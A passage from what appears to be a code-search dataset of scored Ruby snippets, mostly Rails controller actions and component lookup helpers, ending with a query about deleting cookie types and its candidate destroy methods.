"text": "def component; end", "title": "" }, { "docid": "ceddcddc424c39790a418c887b5d3eb7", "score": "0.670604", "text": "def component_type\n\t\treturn @options[:component]\n end", "title": "" }, { "docid": "6ab49e4385951a832d0843f515cadeb6", "score": "0.66757745", "text": "def component_name\n\n COMPONENT_NAME_PREFIX + @id\n\n end", "title": "" }, { "docid": "4dd307c1a55425cf9fe4adb2ad1092fe", "score": "0.665181", "text": "def component_by_id(id)\n ret = components.find {|c| c.id == id}\n\n unless ret\n # Check switch_collection, switches are discovered dynamically\n switch = switch_collection.find {|s| s.service_component.id == id }\n ret = switch.service_component if switch\n end\n\n ret\n end", "title": "" }, { "docid": "aaae76151103737fe6206079d10d5ab2", "score": "0.663887", "text": "def component(cnum, type = Pipehat::Component::Base)\n first.component(cnum, type)\n end", "title": "" }, { "docid": "8d1eed95d9616e2a5c16de6d83350425", "score": "0.6637832", "text": "def get_component(component_name, page_path=nil,b_force_control_header=false) \n control_header = render(:partial=>'content/content_templates/control_header', :locals=>{:b_is_editable_area => false,:content_type=>'component',:b_force_control_header=> b_force_control_header} ) \n content_div=render(:partial=>'content/content_templates/component_content', :locals=>{:component_partial=>\"content/components/#{component_name}/component_content\", :page_path=>page_path }) \n return control_header + content_div\n end", "title": "" }, { "docid": "f846a85d680eb5ee5ad6e457d9fd36c7", "score": "0.6608976", "text": "def get_component(obj)\n component_type = obj if obj.is_a? ComponentType\n component_type = ComponentType.type_for obj if obj.is_a?(Class) && obj <= Component\n\n if component_type\n return @component_manager.get_component self, component_type \n else\n raise \"#{obj.to_s} is neither a ComponentType object nor an Component subclass\"\n end\n\n end", "title": "" }, { "docid": "75b8110aa83c8039b57773a9c3dc60b9", "score": "0.660708", "text": "def get_components(entity, component_class)\n self[entity][component_class]\n end", "title": "" }, { "docid": "bfdaae3aef0898b197c2addb755b6c25", "score": "0.65907925", "text": "def id\n self.component_id\n end", "title": "" }, { "docid": "bfdaae3aef0898b197c2addb755b6c25", "score": "0.65907925", "text": "def id\n self.component_id\n end", "title": "" }, { "docid": "fc5bce73d0076123f82dc6023a3dc59b", "score": "0.6572972", "text": "def component_name(arg)\n Morrow.config.components.each { |n,c| return n if arg.is_a?(c) }\n raise Error, \"Failed to find component name for #{arg}\"\n end", "title": "" }, { "docid": "0fdbe8690b3e79160920557d306c8675", "score": "0.6542943", "text": "def result_component(component)\n rc = @result.address_components_of_type(component)\n return nil if rc.blank?\n rc.try(:first)['long_name']\n end", "title": "" }, { "docid": "b08b0ba2a73d27c39124b38babb3f893", "score": "0.651984", "text": "def component(name, opts = {}, &block)\n partial(\"components/#{name}\", opts, &block)\n end", "title": "" }, { "docid": "53c415c66cd3992c564607fb9783bff8", "score": "0.64998823", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "53c415c66cd3992c564607fb9783bff8", "score": "0.64998823", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "53c415c66cd3992c564607fb9783bff8", "score": "0.64998823", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "08eb36ccbc4c60580e97e45a1e565e62", "score": "0.64903045", "text": "def select_component(component)\n # make sure its not already added\n existing = components.map(&:name)\n return if existing.include?(component.name)\n \n # otherwise add it\n self.components << component\n end", "title": "" }, { "docid": "623c2ff7a852d3752ea2987d5522395f", "score": "0.64646226", "text": "def [](i)\n\t\treturn get_component(i)\n\tend", "title": "" }, { "docid": "623c2ff7a852d3752ea2987d5522395f", "score": "0.64646226", "text": "def [](i)\n\t\treturn get_component(i)\n\tend", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "7fd9001f46c9c0d2db3ff9187d37abbd", "score": "0.6438631", "text": "def set_component\n @component = Component.find(params[:id])\n end", "title": "" }, { "docid": "b83b1f10cb84eda52771ae25ef043f95", "score": "0.6409455", "text": "def show\n @component = current_cms.components.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @component }\n end\n end", "title": "" }, { "docid": "fc80d4b1091587691b97f927c66e715e", "score": "0.6408494", "text": "def component( component_name )\n \"#{component_name}: #{clazz component_name, :Components}\"\n end", "title": "" }, { "docid": "fc80d4b1091587691b97f927c66e715e", "score": "0.6408494", "text": "def component( component_name )\n \"#{component_name}: #{clazz component_name, :Components}\"\n end", "title": "" }, { "docid": "29ff1bd268c9a147be958b37fe70abcd", "score": "0.64003664", "text": "def get_component!(entity, type)\n Morrow.em.get_component(entity, type) or\n Morrow.em.add_component(entity, type)\n end", "title": "" }, { "docid": "467c6c1d3bad8e61d84afcff9267848a", "score": "0.63974303", "text": "def component_instance\n return component.new(component_options)\n end", "title": "" }, { "docid": "c54712ebe9bf4ef6bbddb3e5b013a6b9", "score": "0.63971484", "text": "def find_component(name)\n name = name.to_sym\n\n return components[name] if components.exists?(name)\n\n return if finalized?\n\n require_boot_file(name)\n\n components[name] if components.exists?(name)\n end", "title": "" }, { "docid": "b4397062819f27a123e1d0397d2e2044", "score": "0.63722855", "text": "def component ref\n self.all_series.collect { |c| c if c.persistentId == ref }.compact.first\n end", "title": "" }, { "docid": "29433445d8fb19c8fce5715df368a21a", "score": "0.6359024", "text": "def component\n current_component_host[:course_survey_component]\n end", "title": "" }, { "docid": "29433445d8fb19c8fce5715df368a21a", "score": "0.6359024", "text": "def component\n current_component_host[:course_survey_component]\n end", "title": "" }, { "docid": "82fd17b12464117dc7e6e408a4a9def7", "score": "0.6340262", "text": "def component(component_name, options={})\n @components[component_name] ||= Component.new(self, component_name, options)\n @components[component_name]\n end", "title": "" }, { "docid": "f16e7e986a5c3b362afda978691a8e35", "score": "0.62898487", "text": "def get_composition_def(name:)\n COMPONENTS[name]\n end", "title": "" }, { "docid": "d7df1b37b89b1f1f4e866ec207f95b57", "score": "0.627838", "text": "def select_component! resolver\n end", "title": "" }, { "docid": "e1e75835a96f408bf6690415f17c9b36", "score": "0.62624586", "text": "def component_config(component_name)\n @config[\"components\"][component_name.to_s]\n end", "title": "" }, { "docid": "bb3d48420d25bdab51a5c5a977248957", "score": "0.62512124", "text": "def get_component(name, version = nil)\n fail NotImplementedError,\n \"#{__method__} must be overridden by subclass.\",\n caller\n end", "title": "" }, { "docid": "1ed2d669516800ced61b085401002bf7", "score": "0.6218863", "text": "def show\n @component = Component.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @component }\n end\n end", "title": "" }, { "docid": "c81d7fb502c98b74b01c16e94be45c82", "score": "0.6215521", "text": "def set_component\n if params[:id].match(/\\D/)\n @component = Component.find_by_name(params[:id])\n if @component.blank?\n @components = Component.where(\"category = ?\", params[:id])\n if @components.blank?\n raise ActiveRecord::RecordNotFound\n end\n end\n else\n @component = Component.find(params[:id])\n end\n end", "title": "" }, { "docid": "abe1bfff691bae5c9b6b45f7b2887b0f", "score": "0.62020284", "text": "def component\n current_component_host[:course_levels_component]\n end", "title": "" }, { "docid": "65f764e4870bd4703396be0177f860de", "score": "0.61681867", "text": "def _component\n raise \"NotImplemented\"\n end", "title": "" }, { "docid": "4785538c562bb88738634187edf7f6ed", "score": "0.61562407", "text": "def component(name, *options, &block)\n render(\"components/#{name}\", *options, &block)\n end", "title": "" }, { "docid": "18a3fcea41c73a8a2727b2dd2a312bd5", "score": "0.6135204", "text": "def root_component\n return @component.root_component if @component.respond_to? :component\n @component\n end", "title": "" }, { "docid": "76fc54f5f3275c8570d227a2e95d63e2", "score": "0.61286783", "text": "def component=(c)\n @component = c\n @name = c.name || c.class.to_s\n end", "title": "" }, { "docid": "68ae6e71231df5f1bed18f4bcf583457", "score": "0.6108192", "text": "def component_id\n unless id = attribute_get(:component_id)\n #self.component_id ||= GURN.create(self.uuid.to_s, self)\n #return GURN.create(self.uuid.to_s, { :model => self.class })\n if self.urn\n return GURN.create(self.urn, { :model => self.class })\n else\n return GURN.create(self.name, { :model => self.class })\n end\n end\n id\n end", "title": "" }, { "docid": "2a62220edbd0689c1e3bac39e0e50dc4", "score": "0.6100556", "text": "def components\n COMPONENTS\n end", "title": "" }, { "docid": "4b4b7ee52091b87f2f4882139db53930", "score": "0.60967183", "text": "def [](key)\n components[key]\n end", "title": "" }, { "docid": "342e57d27be151d005b32ce4bd76c041", "score": "0.60681957", "text": "def cabar_component\n @cabar_component ||=\n available_components['cabar'].first || \n (raise Error, \"Cannot find cabar component.\")\n end", "title": "" }, { "docid": "77332833366235664c7ff47a8d5f11be", "score": "0.6055127", "text": "def component\n current_component_host[:course_achievements_component]\n end", "title": "" }, { "docid": "4548640ab772e219d109296bbf914400", "score": "0.6053183", "text": "def component\n current_component_host[:course_assessments_component]\n end", "title": "" }, { "docid": "66d57de60b49a093dd3fa2055536807a", "score": "0.6049558", "text": "def id_of component\n res = run_js <<-JS\n var c = #{component};\n return c.view.id;\n JS\n res\n end", "title": "" }, { "docid": "95a22881de0e3c5810721b52f5c97eb0", "score": "0.6045091", "text": "def component(_name, **component_options)\n repo.component(_name, **component_options.merge({root_name:(root_name || name)}))\n end", "title": "" }, { "docid": "e0be6d103ae646a54290b18d8084328a", "score": "0.60450727", "text": "def c1; @first_component; end", "title": "" }, { "docid": "68295837dd58b6b318932c222b1da97f", "score": "0.6044191", "text": "def render_component\n view_context.render partial: partial_path, locals: { component_name => component }\n end", "title": "" }, { "docid": "43bad838785903b95fcaae8357e180ca", "score": "0.6044107", "text": "def component_by_lowercase_name(name)\n @components.each_key do |k|\n return @components[k] if k.downcase == name\n end\n nil\n end", "title": "" }, { "docid": "5ef31fa382e624c5460f11fc68042277", "score": "0.60388523", "text": "def show\n @component = Component.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @component }\n end\n end", "title": "" }, { "docid": "17e104c3bc95d160efbb5ee7d2987219", "score": "0.60231364", "text": "def is_component?(node, component)\n node && node.respond_to?(:attributes) && node.attributes['component'].to_s == component\n end", "title": "" }, { "docid": "3a67e622881023ccd930917ff952ef9b", "score": "0.5991256", "text": "def load_current_component_host\n current_component_host\n end", "title": "" }, { "docid": "3a67e622881023ccd930917ff952ef9b", "score": "0.5991256", "text": "def load_current_component_host\n current_component_host\n end", "title": "" }, { "docid": "3a67e622881023ccd930917ff952ef9b", "score": "0.5991256", "text": "def load_current_component_host\n current_component_host\n end", "title": "" }, { "docid": "3a67e622881023ccd930917ff952ef9b", "score": "0.5991256", "text": "def load_current_component_host\n current_component_host\n end", "title": "" }, { "docid": "ac6c7548cd9bab1b8cd2fccfdd8528b6", "score": "0.59691614", "text": "def component(graph)\n\t graph.components(singleton_set, false).first || singleton_set\n\tend", "title": "" }, { "docid": "a30564989993d65785d9f4067012c8b6", "score": "0.59678125", "text": "def element_for(component)\n if component.instance_of? PageElement\n return component\n end\n return component.page_elements.detect {|pe| pe.embeddable.id == component.id }\n end", "title": "" }, { "docid": "a30564989993d65785d9f4067012c8b6", "score": "0.59678125", "text": "def element_for(component)\n if component.instance_of? PageElement\n return component\n end\n return component.page_elements.detect {|pe| pe.embeddable.id == component.id }\n end", "title": "" }, { "docid": "065a38b6b49b4dde501e6194f88eaffe", "score": "0.5956589", "text": "def component(name)\n VanagonLogger.info \"Loading #{name}\" if @project.settings[:verbose]\n if @include_components.empty? or @include_components.include?(name)\n component = Vanagon::Component.load_component(name, File.join(@configdir, \"components\"), @project.settings, @project.platform)\n @project.components << component\n end\n end", "title": "" } ]
d82f53bea8a6e67af98885f2ee10a7d1
DELETE /cookie_types/1 DELETE /cookie_types/1.json
[ { "docid": "c868fdf8fbf3c37fe9126e9af49eb29b", "score": "0.8057535", "text": "def destroy\n @cookie_type.destroy\n respond_to do |format|\n format.html { redirect_to cookie_types_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "61178e12027bd7e82b9103e4fdc76c74", "score": "0.6867031", "text": "def destroy\n @cookie = Cookie.find(params[:id])\n @cookie.destroy\n\n respond_to do |format|\n format.html { redirect_to cookies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bb9e63cee0e7001c94529aefa8e89c1d", "score": "0.6839105", "text": "def delete\n @type = Type.find_by_id(params[:id])\n\n # Make sure the type exists\n if @type == nil\n render :nothing => true, :status => 404\n return\n end\n\n deleted_type = @type.delete\n render json: deleted_type, :status => :ok\n end", "title": "" }, { "docid": "22482e5491e9d45a7c01f459fba0437c", "score": "0.68263495", "text": "def destroy\n @clienttype = Clienttype.find(params[:id])\n @clienttype.destroy\n\n respond_to do |format|\n format.html { redirect_to clienttypes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bdee0beb07793b31ebba2f9f9f598966", "score": "0.67622554", "text": "def delete(cookie); end", "title": "" }, { "docid": "bdee0beb07793b31ebba2f9f9f598966", "score": "0.67622554", "text": "def delete(cookie); end", "title": "" }, { "docid": "9ae3fdd256c116a78be905dcb6ff4f15", "score": "0.6733511", "text": "def destroy\n @cookies.destroy\n respond_to do |format|\n format.html { redirect_to cookies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8950f93a7d93539c32abc02177221bb9", "score": "0.67108095", "text": "def destroy\n @client_type.destroy\n respond_to do |format|\n format.html { redirect_to client_types_url, notice: 'Client type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4745569ac90b4c639e2641565a39ef39", "score": "0.66842955", "text": "def destroy\n @visit_type.destroy\n respond_to do |format|\n format.html { redirect_to visit_types_url, flash: { success: 'Visit Type was successfully destroyed.' } }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5297f813d70b1d79b21d305a9d9a61d3", "score": "0.6657939", "text": "def destroy\n @c_type.destroy\n respond_to do |format|\n format.html { redirect_to c_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d2a0b1c6033b38b65acc56e226a0934a", "score": "0.6646905", "text": "def destroy\n @insured_type = InsuredType.find(params[:id])\n @insured_type.destroy\n\n respond_to do |format|\n format.html { redirect_to insured_types_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ead6f4a029d8db434f0f2e4fce3ccdee", "score": "0.66347563", "text": "def destroy\n @type = Type.find(params[:id])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9e05cdffdb5998ed5b286fd8169c5ed8", "score": "0.663139", "text": "def destroy\n @type.destroy\n respond_to do |format|\n format.html { redirect_to types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.66284525", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "5c2ab38b32bd6bad393a3989db0d2412", "score": "0.65884197", "text": "def destroy\n authorize! :destroy, @cert_type\n @cert_type.destroy\n respond_to do |format|\n format.html { redirect_to cert_types_url, notice: 'Cert type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "894aebebae458ad4fc6bb21a76980a9a", "score": "0.65863764", "text": "def destroy\n @exp_type = ExpType.find(params[:id])\n @exp_type.destroy\n\n respond_to do |format|\n format.html { redirect_to exp_types_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "8ed7fda3efc71fe2900dd545247aa886", "score": "0.6574665", "text": "def destroy\n @user_type.destroy\n render json: @user_type\n end", "title": "" }, { "docid": "28b74ddc64f44d53dce040eca34b52c8", "score": "0.6569271", "text": "def destroy\n @storage_entry_type.destroy!\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f1bedba7fa32e77365ef1c18afda1c7e", "score": "0.6557654", "text": "def delete_cookie name\n @response.delete_cookie name\n end", "title": "" }, { "docid": "f03ce4a56d8c20033f7cac4cc41cdeed", "score": "0.65565807", "text": "def destroy\n @challenge_type = ChallengeType.find(params[:id])\n @challenge_type.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_challenge_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9d096c79c999f8e81b29d6a400065723", "score": "0.6536718", "text": "def destroy\n @request_type = RequestType.find(params[:id])\n @request_type.destroy\n\n respond_to do |format|\n format.html { redirect_to request_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e1cc5d8d63e7ab8c6b94ad94a36d7256", "score": "0.65244716", "text": "def destroy\n @accttype.destroy\n respond_to do |format|\n format.html { redirect_to accttypes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9111a7a837af697cfcfe1180f5f67fac", "score": "0.65216357", "text": "def destroy\n @reagent_type = ReagentType.find(params[:id])\n @reagent_type.destroy\n\n respond_to do |format|\n format.html { redirect_to reagent_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0506d23a265a52b85d3160a80f8622e1", "score": "0.65215504", "text": "def delete_type(id)\n delete(\"/types/#{id}\")\n end", "title": "" }, { "docid": "4925e2d75f79ac6985e9d80a071fe7d6", "score": "0.6518779", "text": "def destroy\n @cookie_clicker.destroy\n respond_to do |format|\n format.html { redirect_to cookie_clickers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "db4aee7f8d57ff25c4e09e607244184a", "score": "0.651005", "text": "def destroy\n @coffee_type.destroy\n respond_to do |format|\n format.html { redirect_to coffee_types_url, notice: 'Coffee type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a896c1b1473aed4df6e7661d4bc124d5", "score": "0.6508758", "text": "def destroy\n @default_request_type.destroy\n respond_to do |format|\n format.html { redirect_to default_request_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2a0610e94466f74125887dc7c21b763d", "score": "0.6495514", "text": "def destroy\n @accident_type = AccidentType.find(params[:id])\n @accident_type.updated_user = current_user.login_name\n @accident_type.destroy\n\n respond_to do |format|\n format.html { redirect_to accident_types_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d8ca9d081b4f65a896c7e1d7ed7093bb", "score": "0.64905816", "text": "def destroy\n @countytype.destroy\n respond_to do |format|\n format.html { redirect_to countytypes_url, notice: 'Countytype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aaf9f454f1f5e0135c74824f38759037", "score": "0.6483921", "text": "def destroy\n @hay_type.destroy\n respond_to do |format|\n format.html { redirect_to hay_types_url, notice: 'Hay type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "82b69225c97a9ee22972dce58b8b0f3a", "score": "0.6481155", "text": "def destroy\n @exp_type.destroy\n respond_to do |format|\n format.html { redirect_to exp_types_url, notice: 'Exp type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "72d8edac19b733c6ad60beefd0814bbd", "score": "0.6469438", "text": "def destroy\n @acc_type.destroy\n respond_to do |format|\n format.html { redirect_to acc_types_url, notice: 'Acc type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d047509e7ccc5ab09a86d10f5f2f447b", "score": "0.6469206", "text": "def destroy\n @frequency_type = FrequencyType.find(params[:id])\n @frequency_type.destroy\n\n respond_to do |format|\n format.html { redirect_to frequency_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "70d42ef97a69b8e83b9032c55f9eb1f8", "score": "0.6465882", "text": "def destroy\n @crust_type.destroy\n respond_to do |format|\n format.html { redirect_to crust_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "85a476c06f2d0a43cd2c208f858c7e77", "score": "0.646322", "text": "def destroy\n @type = Type.find(params[:id])\n @type.destroy\n Cluster.where(\"type_id = ?\",params[:id]).each{ |c|\n c.destroy\n }\n respond_to do |format|\n format.html { redirect_to types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7e54091de6f36a05095bc84df792397a", "score": "0.6461391", "text": "def destroy\n @indicator_type = IndicatorType.find(params[:id])\n @indicator_type.destroy\n\n\t\tmsg = I18n.t('app.msgs.success_deleted', :obj => I18n.t('app.common.indicator_type'))\n\t\tsend_status_update(I18n.t('app.msgs.cache_cleared', :action => msg))\n respond_to do |format|\n format.html { redirect_to admin_indicator_types_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1cc278fd6a868c4c00e6fc1162742b94", "score": "0.64603436", "text": "def destroy\n @session_type.destroy\n respond_to do |format|\n format.html { redirect_to session_types_url, notice: 'Session type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1cbd52d2651f761efea79ca34e597345", "score": "0.64588255", "text": "def destroy\n @type = Type.find(params[:id])\n @type.destroy\n Cluster.where(\"type_id = ?\",params[:id]).each{ |c|\n c.destroy\n }\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ffbb8a1fccad10fcc443ec0a53cc5f60", "score": "0.64550126", "text": "def destroy\n @type.destroy\n respond_to do |format|\n format.html { redirect_to types_url, notice: 'Type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ffbb8a1fccad10fcc443ec0a53cc5f60", "score": "0.64550126", "text": "def destroy\n @type.destroy\n respond_to do |format|\n format.html { redirect_to types_url, notice: 'Type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ffbb8a1fccad10fcc443ec0a53cc5f60", "score": "0.64550126", "text": "def destroy\n @type.destroy\n respond_to do |format|\n format.html { redirect_to types_url, notice: 'Type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "110cda66cdc18ac681f84321e3fe7794", "score": "0.64497966", "text": "def destroy\n @bowtype.destroy\n respond_to do |format|\n format.html { redirect_to bowtypes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "390dfc21f8e7665eec2f0e453d1b5f35", "score": "0.64486426", "text": "def destroy\n @fibre_type.destroy\n respond_to do |format|\n format.html { redirect_to fibre_types_url, notice: 'Fibre type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2528603b00ecb1908cb719949d6c45ba", "score": "0.64469755", "text": "def destroy\n @click_type = ClickType.find(params[:id])\n @click_type.destroy\n\n respond_to do |format|\n format.html { redirect_to click_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "da631d4f110f1fbdc229bee873ab3a27", "score": "0.6446613", "text": "def destroy\n @typecate.destroy\n respond_to do |format|\n format.html { redirect_to typecates_url, notice: 'Typecate was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "479f2797e8b19310f84a68491237c834", "score": "0.64460117", "text": "def destroy\n # @count_type = CountType.find(params[:id])\n @count_type.destroy\n\n respond_to do |format|\n format.html { redirect_to count_types_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a10e37d40597349cd52c70607ddc02e7", "score": "0.6443233", "text": "def destroy\n @visa_type.destroy\n respond_to do |format|\n format.html { redirect_to visa_types_url, notice: 'Visa type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "265ccfc8139e9dbbea9e17ef953f51ba", "score": "0.64419526", "text": "def destroy\n @visa_type.destroy\n respond_to do |format|\n format.html { redirect_to visa_types_url, notice: \"Visa type was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6c56d51cc8e2a3075936d13a6d2d63b0", "score": "0.6435235", "text": "def destroy\n @crime_type = CrimeType.find(params[:id])\n @crime_type.destroy\n\n respond_to do |format|\n format.html { redirect_to crime_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ed1e193216b54d82be96ab206255d4e7", "score": "0.64288354", "text": "def destroy\n @access_type.destroy\n respond_to do |format|\n format.html { redirect_to access_types_url, notice: 'Access type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5fff3b9c96afa67d85489d824a091ed1", "score": "0.6423054", "text": "def destroy\n @typeconnect = Typeconnect.find(params[:id])\n @typeconnect.destroy\n\n respond_to do |format|\n format.html { redirect_to typeconnects_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e7502deca8518a9200a035296236e8cb", "score": "0.6420498", "text": "def destroy\n \t@type=Type.find(params[:id])\n @type.destroy\n head :no_content\n end", "title": "" }, { "docid": "7e6c06f41568e75db2975b8099029a9c", "score": "0.6417722", "text": "def destroy\n @bookmark_type.destroy\n respond_to do |format|\n format.html { redirect_to bookmark_types_url, notice: \"Bookmark type was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3d3aa21191d28708b1fa10bb275a3634", "score": "0.641701", "text": "def destroy\n @data_type = DataType.find(params[:id])\n @data_type.destroy\n\n respond_to do |format|\n format.html { redirect_to data_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d5a800285ce1c900cbe3f2dab5702a06", "score": "0.64113545", "text": "def destroy\n @bookmark_type.destroy\n respond_to do |format|\n format.html { redirect_to bookmark_types_url, notice: 'Bookmark type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c811c0274f01d66da64f7483ead94538", "score": "0.6408038", "text": "def destroy\n @form_type = FormType.find(params[:id])\n @form_type.destroy\n\n respond_to do |format|\n format.html { redirect_to form_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83ffb67057cc8702b6f07e9baf31bc3c", "score": "0.64016056", "text": "def destroy\n @capital_type = CapitalType.find(params[:id])\n @capital_type.destroy\n\n respond_to do |format|\n format.html { redirect_to capital_types_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1570b0f2765b2f0a7b1c8d85a5a62ff4", "score": "0.6396266", "text": "def destroy\n @homies_type.destroy\n respond_to do |format|\n format.html { redirect_to homies_types_url, notice: 'Homies type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2864c8b14d87743b4e791c00ba7e2daa", "score": "0.6393894", "text": "def destroy\n @capture_type.destroy\n respond_to do |format|\n format.html { redirect_to capture_types_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b43a28c5daf8746fa7c61c39228d4965", "score": "0.63938606", "text": "def destroy\n @incident_type = IncidentType.find(params[:id])\n @incident_type.destroy\n\n respond_to do |format|\n format.html { redirect_to incident_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5bd999feebc1b9221b677d7d512d4aee", "score": "0.6390148", "text": "def destroy\n @everydaycheck_type = EverydaycheckType.find(params[:id])\n @everydaycheck_type.destroy\n\n respond_to do |format|\n format.html { redirect_to everydaycheck_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0cdbcafe5d9a37a17a795ce9ff33e155", "score": "0.6378547", "text": "def destroy\n @type_request.destroy\n respond_to do |format|\n format.html { redirect_to type_requests_url, notice: 'Type request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e3c75b6e8613c7967af3628670e6ae94", "score": "0.6375716", "text": "def destroy\n @t_type.destroy\n respond_to do |format|\n format.html { redirect_to t_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f4acc74d01e7aad078757e1c3699185c", "score": "0.6375583", "text": "def destroy\n @fase_type.destroy\n respond_to do |format|\n format.html { redirect_to fase_types_url, notice: 'Fase type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c1081247787db052d210d899274b5c0c", "score": "0.6374656", "text": "def destroy\n @consent_form_type.destroy\n respond_to do |format|\n format.html { redirect_to consent_form_types_url, notice: 'Consent form type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "18c97614a0e7b3135b14e564f54673db", "score": "0.6369476", "text": "def destroy\n @redila_type.destroy\n respond_to do |format|\n format.html { redirect_to redila_types_url, notice: 'Redila type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "889134d1f9756425d1ff3c29ca6e77ad", "score": "0.6368996", "text": "def destroy\n notice = '\"'+@fd_type.name+'\" was successfully removed.'\n @fd_type.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: notice }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "81eb331909bfea7c8657c0474f913b0d", "score": "0.63683987", "text": 